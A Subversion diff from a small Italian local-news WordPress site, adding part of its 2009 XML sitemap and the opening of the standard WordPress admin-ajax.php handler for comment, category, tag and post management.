+		<loc>http://www.guidonia.net/wp/i-edizione-tivol-in-danza-2009.html</loc>
+		<lastmod>2009-04-30T08:07:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-tu-per-tu-con-i-candidati.html</loc>
+		<lastmod>2009-04-28T16:49:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/teatrargo-di-nuovo-in-scena.html</loc>
+		<lastmod>2009-04-28T10:31:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/premio-licinio-ferretti.html</loc>
+		<lastmod>2009-04-22T07:31:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/corto-circuito-teatro-emergente-in-contatto.html</loc>
+		<lastmod>2009-04-21T19:59:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/contributi-alle-imprese-cooperative.html</loc>
+		<lastmod>2009-04-20T07:47:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/caccia-selvaggia-la-lipu-dice-no.html</loc>
+		<lastmod>2009-04-18T14:14:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/aree-protette.html</loc>
+		<lastmod>2009-04-17T21:55:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/contaminati.html</loc>
+		<lastmod>2009-04-16T21:38:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dal-terremoto-dabruzzo.html</loc>
+		<lastmod>2009-04-16T19:24:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/hangin-on-libera-rete-civica-del-nord-est-di-roma-2009-04-16-211840.html</loc>
+		<lastmod>2009-04-16T19:18:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/salon-il-viminale-blocca-la-nuova-stazione.html</loc>
+		<lastmod>2009-04-14T21:55:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%93europa-volontariato-diritti-e-pace%c2%94.html</loc>
+		<lastmod>2009-04-14T13:53:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/officine-culturali-di-guidonia-aprile-2009.html</loc>
+		<lastmod>2009-04-10T23:38:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/epicentro-solidale.html</loc>
+		<lastmod>2009-04-10T21:01:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/concorso-per-agenti-di-polizia-locale-nel-comune-di-tivoli.html</loc>
+		<lastmod>2009-04-08T12:59:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/gli-enti-locali-si-alla-candidatura-del-parco-allunesco.html</loc>
+		<lastmod>2009-04-07T20:06:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-questione-delle-antenne.html</loc>
+		<lastmod>2009-04-06T20:27:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/3%c2%b0-classificato-lolio-di-palombara-sabina.html</loc>
+		<lastmod>2009-04-04T07:38:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fondi-dalla-regione-per-interventi-scolastici.html</loc>
+		<lastmod>2009-04-03T13:38:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/corri-per-il-parco-seconda-edizione.html</loc>
+		<lastmod>2009-04-02T14:07:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/non-solo-calcio.html</loc>
+		<lastmod>2009-04-02T12:54:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/trovato-laccordo.html</loc>
+		<lastmod>2009-04-01T15:27:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/problema-sicurezza.html</loc>
+		<lastmod>2009-03-31T19:56:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-lucherini-regione-investe-in-edilizia-scolastica.html</loc>
+		<lastmod>2009-03-31T13:26:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/controlli-sulla-sicurezza-nei-luoghi-di-lavoro.html</loc>
+		<lastmod>2009-03-30T17:21:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/patto-di-base-in-60mila-al-corteo-di-roma.html</loc>
+		<lastmod>2009-03-29T14:03:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/villa-gregoriana-a-tivoli-protagonista-del-catalogo-fai.html</loc>
+		<lastmod>2009-03-28T09:42:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/allarme-rifiuti-nel-lazio.html</loc>
+		<lastmod>2009-03-28T07:40:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/convegno-per-le-politiche-giovanili.html</loc>
+		<lastmod>2009-03-27T15:36:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/per-il-defrag-derubato.html</loc>
+		<lastmod>2009-03-26T20:57:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/terreni-ex-borghese.html</loc>
+		<lastmod>2009-03-25T21:57:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/convegno-sant-angelo-romano.html</loc>
+		<lastmod>2009-03-25T17:07:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/premiato-lolio-di-palombara-sabina.html</loc>
+		<lastmod>2009-03-25T15:46:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/108-milioni-di-euro-dalla-regione-lazio.html</loc>
+		<lastmod>2009-03-25T13:36:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/incontriamoci.html</loc>
+		<lastmod>2009-03-24T17:35:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/22-marzo-giornata-internazionale-di-mobilitazione-per-il-diritto-umano-allacqu.html</loc>
+		<lastmod>2009-03-23T17:17:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/chi-siete%c2%85dove-andate%c2%85un-fiorino.html</loc>
+		<lastmod>2009-03-23T17:03:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/palestra-di-roccia.html</loc>
+		<lastmod>2009-03-21T16:23:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/franano-le-cartiere.html</loc>
+		<lastmod>2009-03-21T08:03:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ci-siamo-santangelo-fa-rete.html</loc>
+		<lastmod>2009-03-20T17:01:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/rock4peace-defrag-20-marzo-2009-a-partire-dalle-2000.html</loc>
+		<lastmod>2009-03-19T17:37:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/mai-piu-violenza-esci-dal-silenzio.html</loc>
+		<lastmod>2009-03-18T14:32:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-percorso-della-memoria.html</loc>
+		<lastmod>2009-03-17T19:17:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sant%c2%92angelo-romano-fa-rete.html</loc>
+		<lastmod>2009-03-17T07:59:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lutilita-delle-cose-vecchie.html</loc>
+		<lastmod>2009-03-16T21:21:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ditta-rosmini-srl-tivoli.html</loc>
+		<lastmod>2009-03-15T17:11:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/piazze-per-la-sostenibilita%c2%92-e-la-pace.html</loc>
+		<lastmod>2009-03-14T07:10:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/corsi.html</loc>
+		<lastmod>2009-03-13T16:39:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/appuntamenti-a-marcellina.html</loc>
+		<lastmod>2009-03-13T13:49:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/una-brutta-cronaca.html</loc>
+		<lastmod>2009-03-11T16:14:37+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/globalizzazione.html</loc>
+		<lastmod>2009-03-10T17:19:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/riciclaggio-informatico.html</loc>
+		<lastmod>2009-03-09T17:30:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/van-tv-italia-lancia-il-1-canale-cinema-indipendente.html</loc>
+		<lastmod>2009-03-08T16:33:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-monte-porzio-catone-tra-orchidee-tradizione-storia-e-gastronomia.html</loc>
+		<lastmod>2009-03-07T15:39:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cucina-che-passione.html</loc>
+		<lastmod>2009-03-07T09:46:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/abbiamo-il-diritto-di-essere-informati.html</loc>
+		<lastmod>2009-03-06T22:15:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nero.html</loc>
+		<lastmod>2009-03-06T14:06:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-minaccia-delle-antenne-su-monte-gennaro.html</loc>
+		<lastmod>2009-03-05T12:41:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/6-marzo-ore-730-per-dire-no-alla-discarica-e-allimpianto-dei-rifiuti.html</loc>
+		<lastmod>2009-03-05T08:47:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-mercato-dellacqua.html</loc>
+		<lastmod>2009-03-04T13:55:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/convegniamo.html</loc>
+		<lastmod>2009-03-03T19:21:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/per-i-nostri-amici-animali.html</loc>
+		<lastmod>2009-03-02T21:07:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/concorso-internazionale-cortometraggi.html</loc>
+		<lastmod>2009-03-01T21:01:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cranews-usiamo-il-cervello.html</loc>
+		<lastmod>2009-02-28T21:04:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/un-colpo-mortale-al-parco-dei-monti-lucretil.html</loc>
+		<lastmod>2009-02-28T08:28:07+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cronaca-di-casa-nostra.html</loc>
+		<lastmod>2009-02-28T08:03:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/oggetto-perturbazioni-2009-il-conflitto-a-guidonia.html</loc>
+		<lastmod>2009-02-27T13:49:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lista-civica.html</loc>
+		<lastmod>2009-02-26T17:10:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/via-i-cavi-elettrici-e-del-telefono-dalla-riserva-naturale-e-dal-lungomare.html</loc>
+		<lastmod>2009-02-26T13:02:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+</urlset>
Index: /trunk/www.guidonia.net/wp/wp-admin/admin-ajax.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin-ajax.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/admin-ajax.php	(revision 44)
@@ -0,0 +1,1356 @@
+<?php
+/**
+ * WordPress AJAX Process Execution.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Executing AJAX process.
+ *
+ * @since unknown
+ */
+define('DOING_AJAX', true);
+define('WP_ADMIN', true);
+
+require_once('../wp-load.php');
+require_once('includes/admin.php');
+@header('Content-Type: text/html; charset=' . get_option('blog_charset'));
+
+do_action('admin_init');
+
+if ( ! is_user_logged_in() ) {
+
+	if ( $_POST['action'] == 'autosave' ) {
+		$id = isset($_POST['post_ID'])? (int) $_POST['post_ID'] : 0;
+
+		if ( ! $id )
+			die('-1');
+
+		$message = sprintf( __('<strong>ALERT: You are logged out!</strong> Could not save draft. <a href="%s" target="blank">Please log in again.</a>'), wp_login_url() );
+			$x = new WP_Ajax_Response( array(
+				'what' => 'autosave',
+				'id' => $id,
+				'data' => $message
+			) );
+			$x->send();
+	}
+
+	if ( !empty( $_POST['action']) )
+		do_action( 'wp_ajax_nopriv_' . $_POST['action'] );
+
+	die('-1');
+}
+
+if ( isset( $_GET['action'] ) ) :
+switch ( $action = $_GET['action'] ) :
+case 'ajax-tag-search' :
+	if ( !current_user_can( 'edit_posts' ) )
+		die('-1');
+
+	$s = $_GET['q']; // is this slashed already?
+
+	if ( isset($_GET['tax']) )
+		$taxonomy = sanitize_title($_GET['tax']);
+	else
+		die('0');
+
+	if ( false !== strpos( $s, ',' ) ) {
+		$s = explode( ',', $s );
+		$s = $s[count( $s ) - 1];
+	}
+	$s = trim( $s );
+	if ( strlen( $s ) < 2 )
+		die; // require 2 chars for matching
+
+	$results = $wpdb->get_col( "SELECT t.name FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = '$taxonomy' AND t.name LIKE ('%" . $s . "%')" );
+
+	echo join( $results, "\n" );
+	die;
+	break;
+case 'wp-compression-test' :
+	if ( !current_user_can( 'manage_options' ) )
+		die('-1');
+
+	if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
+		update_site_option('can_compress_scripts', 0);
+		die('0');
+	}
+
+	if ( isset($_GET['test']) ) {
+		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
+		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
+		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
+		header( 'Pragma: no-cache' );
+		header('Content-Type: application/x-javascript; charset=UTF-8');
+		$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
+		$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
+
+		 if ( 1 == $_GET['test'] ) {
+		 	echo $test_str;
+		 	die;
+		 } elseif ( 2 == $_GET['test'] ) {
+			if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+				header('Content-Encoding: deflate');
+				$out = gzdeflate( $test_str, 1 );
+			} elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) {
+				header('Content-Encoding: gzip');
+				$out = gzencode( $test_str, 1 );
+			} else {
+				die('-1');
+			}
+			echo $out;
+			die;
+		} elseif ( 'no' == $_GET['test'] ) {
+			update_site_option('can_compress_scripts', 0);
+		} elseif ( 'yes' == $_GET['test'] ) {
+			update_site_option('can_compress_scripts', 1);
+		}
+	}
+
+	die('0');
+	break;
+default :
+	do_action( 'wp_ajax_' . $_GET['action'] );
+	die('0');
+	break;
+endswitch;
+endif;
+
+/**
+ * Sends back current comment total and new page links if they need to be updated.
+ *
+ * Contrary to normal success AJAX response ("1"), die with time() on success.
+ *
+ * @since 2.7
+ *
+ * @param int $comment_id
+ * @return die
+ */
+function _wp_ajax_delete_comment_response( $comment_id ) {
+	$total = (int) @$_POST['_total'];
+	$per_page = (int) @$_POST['_per_page'];
+	$page = (int) @$_POST['_page'];
+	$url = esc_url_raw( @$_POST['_url'] );
+	// JS didn't send us everything we need to know. Just die with success message
+	if ( !$total || !$per_page || !$page || !$url )
+		die( (string) time() );
+
+	if ( --$total < 0 ) // Take the total from POST and decrement it (since we just deleted one)
+		$total = 0;
+
+	if ( 0 != $total % $per_page && 1 != mt_rand( 1, $per_page ) ) // Only do the expensive stuff on a page-break, and about 1 other time per page
+		die( (string) time() );
+
+	$status = 'total_comments'; // What type of comment count are we looking for?
+	$parsed = parse_url( $url );
+	if ( isset( $parsed['query'] ) ) {
+		parse_str( $parsed['query'], $query_vars );
+		if ( !empty( $query_vars['comment_status'] ) )
+			$status = $query_vars['comment_status'];
+	}
+
+	$comment_count = wp_count_comments();
+	$time = time(); // The time since the last comment count
+
+	if ( isset( $comment_count->$status ) ) // We're looking for a known type of comment count
+		$total = $comment_count->$status;
+	// else use the decremented value from above
+
+	$page_links = paginate_links( array(
+		'base' => add_query_arg( 'apage', '%#%', $url ),
+		'format' => '',
+		'prev_text' => __('&laquo;'),
+		'next_text' => __('&raquo;'),
+		'total' => ceil($total / $per_page),
+		'current' => $page
+	) );
+	$x = new WP_Ajax_Response( array(
+		'what' => 'comment',
+		'id' => $comment_id, // here for completeness - not used
+		'supplemental' => array(
+			'pageLinks' => $page_links,
+			'total' => $total,
+			'time' => $time
+		)
+	) );
+	$x->send();
+}
+
+$id = isset($_POST['id'])? (int) $_POST['id'] : 0;
+switch ( $action = $_POST['action'] ) :
+case 'delete-comment' : // On success, die with time() instead of 1
+	check_ajax_referer( "delete-comment_$id" );
+	if ( !$comment = get_comment( $id ) )
+		die( (string) time() );
+	if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) )
+		die('-1');
+
+	if ( isset($_POST['spam']) && 1 == $_POST['spam'] ) {
+		if ( 'spam' == wp_get_comment_status( $comment->comment_ID ) )
+			die( (string) time() );
+		$r = wp_set_comment_status( $comment->comment_ID, 'spam' );
+	} else {
+		$r = wp_delete_comment( $comment->comment_ID );
+	}
+	if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts
+		_wp_ajax_delete_comment_response( $comment->comment_ID );
+	die( '0' );
+	break;
+case 'delete-cat' :
+	check_ajax_referer( "delete-category_$id" );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	$cat = get_category( $id );
+	if ( !$cat || is_wp_error( $cat ) )
+		die('1');
+
+	if ( wp_delete_category( $id ) )
+		die('1');
+	else
+		die('0');
+	break;
+case 'delete-tag' :
+	check_ajax_referer( "delete-tag_$id" );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	if ( !empty($_POST['taxonomy']) )
+		$taxonomy = $_POST['taxonomy'];
+	else
+		$taxonomy = 'post_tag';
+
+	$tag = get_term( $id, $taxonomy );
+	if ( !$tag || is_wp_error( $tag ) )
+		die('1');
+
+	if ( wp_delete_term($id, $taxonomy))
+		die('1');
+	else
+		die('0');
+	break;
+case 'delete-link-cat' :
+	check_ajax_referer( "delete-link-category_$id" );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	$cat = get_term( $id, 'link_category' );
+	if ( !$cat || is_wp_error( $cat ) )
+		die('1');
+
+	$cat_name = get_term_field('name', $id, 'link_category');
+
+	$default = get_option('default_link_category');
+
+	// Don't delete the default cats.
+	if ( $id == $default ) {
+		$x = new WP_AJAX_Response( array(
+			'what' => 'link-cat',
+			'id' => $id,
+			'data' => new WP_Error( 'default-link-cat', sprintf(__("Can&#8217;t delete the <strong>%s</strong> category: this is the default one"), $cat_name) )
+		) );
+		$x->send();
+	}
+
+	$r = wp_delete_term($id, 'link_category', array('default' => $default));
+	if ( !$r )
+		die('0');
+	if ( is_wp_error($r) ) {
+		$x = new WP_AJAX_Response( array(
+			'what' => 'link-cat',
+			'id' => $id,
+			'data' => $r
+		) );
+		$x->send();
+	}
+	die('1');
+	break;
+case 'delete-link' :
+	check_ajax_referer( "delete-bookmark_$id" );
+	if ( !current_user_can( 'manage_links' ) )
+		die('-1');
+
+	$link = get_bookmark( $id );
+	if ( !$link || is_wp_error( $link ) )
+		die('1');
+
+	if ( wp_delete_link( $id ) )
+		die('1');
+	else
+		die('0');
+	break;
+case 'delete-meta' :
+	check_ajax_referer( "delete-meta_$id" );
+	if ( !$meta = get_post_meta_by_id( $id ) )
+		die('1');
+
+	if ( !current_user_can( 'edit_post', $meta->post_id ) )
+		die('-1');
+	if ( delete_meta( $meta->meta_id ) )
+		die('1');
+	die('0');
+	break;
+case 'delete-post' :
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_post', $id ) )
+		die('-1');
+
+	if ( !get_post( $id ) )
+		die('1');
+
+	if ( wp_delete_post( $id ) )
+		die('1');
+	else
+		die('0');
+	break;
+case 'delete-page' :
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_page', $id ) )
+		die('-1');
+
+	if ( !get_page( $id ) )
+		die('1');
+
+	if ( wp_delete_post( $id ) )
+		die('1');
+	else
+		die('0');
+	break;
+case 'dim-comment' : // On success, die with time() instead of 1
+
+	if ( !$comment = get_comment( $id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id))
+		) );
+		$x->send();
+	}
+
+	if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) )
+		die('-1');
+	if ( !current_user_can( 'moderate_comments' ) )
+		die('-1');
+
+	$current = wp_get_comment_status( $comment->comment_ID );
+	if ( $_POST['new'] == $current )
+		die( (string) time() );
+
+	$r = 0;
+	if ( in_array( $current, array( 'unapproved', 'spam' ) ) ) {
+		check_ajax_referer( "approve-comment_$id" );
+		$result = wp_set_comment_status( $comment->comment_ID, 'approve', true );
+	} else {
+		check_ajax_referer( "unapprove-comment_$id" );
+		$result = wp_set_comment_status( $comment->comment_ID, 'hold', true );
+	}
+	if ( is_wp_error($result) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => $result
+		) );
+		$x->send();
+	}
+
+	// Decide if we need to send back '1' or a more complicated response including page links and comment counts
+	_wp_ajax_delete_comment_response( $comment->comment_ID );
+	die( '0' );
+	break;
+case 'add-category' : // On the Fly
+	check_ajax_referer( $action );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+	$names = explode(',', $_POST['newcat']);
+	if ( 0 > $parent = (int) $_POST['newcat_parent'] )
+		$parent = 0;
+	$post_category = isset($_POST['post_category'])? (array) $_POST['post_category'] : array();
+	$checked_categories = array_map( 'absint', (array) $post_category );
+	$popular_ids = isset( $_POST['popular_ids'] ) ?
+			array_map( 'absint', explode( ',', $_POST['popular_ids'] ) ) :
+			false;
+
+	$x = new WP_Ajax_Response();
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$category_nicename = sanitize_title($cat_name);
+		if ( '' === $category_nicename )
+			continue;
+		$cat_id = wp_create_category( $cat_name, $parent );
+		$checked_categories[] = $cat_id;
+		if ( $parent ) // Do these all at once in a second
+			continue;
+		$category = get_category( $cat_id );
+		ob_start();
+			wp_category_checklist( 0, $cat_id, $checked_categories, $popular_ids );
+		$data = ob_get_contents();
+		ob_end_clean();
+		$x->add( array(
+			'what' => 'category',
+			'id' => $cat_id,
+			'data' => $data,
+			'position' => -1
+		) );
+	}
+	if ( $parent ) { // Foncy - replace the parent and all its children
+		$parent = get_category( $parent );
+		ob_start();
+			dropdown_categories( 0, $parent );
+		$data = ob_get_contents();
+		ob_end_clean();
+		$x->add( array(
+			'what' => 'category',
+			'id' => $parent->term_id,
+			'old_id' => $parent->term_id,
+			'data' => $data,
+			'position' => -1
+		) );
+
+	}
+	$x->send();
+	break;
+case 'add-link-category' : // On the Fly
+	check_ajax_referer( $action );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+	$names = explode(',', $_POST['newcat']);
+	$x = new WP_Ajax_Response();
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$slug = sanitize_title($cat_name);
